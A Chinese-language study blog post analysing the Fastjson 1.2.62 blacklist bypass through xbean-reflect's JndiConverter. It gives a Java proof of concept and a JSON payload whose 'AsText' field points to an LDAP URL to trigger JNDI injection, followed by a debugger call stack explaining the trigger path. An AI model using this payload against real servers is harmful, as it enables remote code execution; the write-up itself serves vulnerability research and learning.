前言:
主要是跟着师傅学习,看这个1.2.62 - 1.2.68
版本是如何绕过黑名单的,以及有什么好玩的利用链。
1.2.62 绕过黑名单:
Exp编写:
前提条件:
- 服务端上版本是
<=1.2.63
的
- 低版本jdk(主要是利用了jdni注入,高版本的jndi注入会受到限制,关于这部分可以看[Fastjson系列五——高版本JDK绕过及检测与防御 Mi1k7ea ])
- 开启了
AutoType
- 目标服务器上需要
xbean-reflect
依赖。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <dependencies>
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.62</version> </dependency>
<dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-reflect</artifactId> <version>4.18</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
查看poc:
1 2 3 4 5
| public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://localhost:1389/Exploit\"}"; JSON.parse(poc); }
|
1 2 3 4
| { "@type": "org.apache.xbean.propertyeditor.JndiConverter", "AsText": "ldap://localhost:8085/bIZKZrFl" }
|
漏洞原理以及调试:
导入了x-bean坐标后,查看JndiConverter
的toObjectImpl
方法:
这不妥妥的jndi注入嘛:

但是这个方法又不是setter/getter
方法啊,又是怎么调用到这个toObjectImpl
方法的?
调用堆栈如图所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| toObjectImpl:35, JndiConverter (org.apache.xbean.propertyeditor) toObject:86, AbstractConverter (org.apache.xbean.propertyeditor) setAsText:59, AbstractConverter (org.apache.xbean.propertyeditor) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:123, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:1241, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:866, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseRest:1555, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:-1, FastjsonASMDeserializer_1_JndiConverter (com.alibaba.fastjson.parser.deserializer) deserialze:284, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:395, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1400, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1366, DefaultJSONParser (com.alibaba.fastjson.parser) parse:170, JSON (com.alibaba.fastjson) parse:180, JSON (com.alibaba.fastjson) parse:149, JSON (com.alibaba.fastjson) main:12, Fastjson1262Exp (com.hme)
|
很明显,调用了AbstractConverter
的setAsText
方法,这个类就是JndiConverter
的父类。
所以是父类AbstractConverter#setAsText
==> JndiConverter#toObjectImpl
参考:
Java反序列化Fastjson篇04-Fastjson1.2.62-1.2.68版本反序列化漏洞 | Drunkbaby’s Blog (drun1baby.top)
[(安全客首发)Fastjson系列六——1.2.48-1.2.68反序列化漏洞 Mi1k7ea ]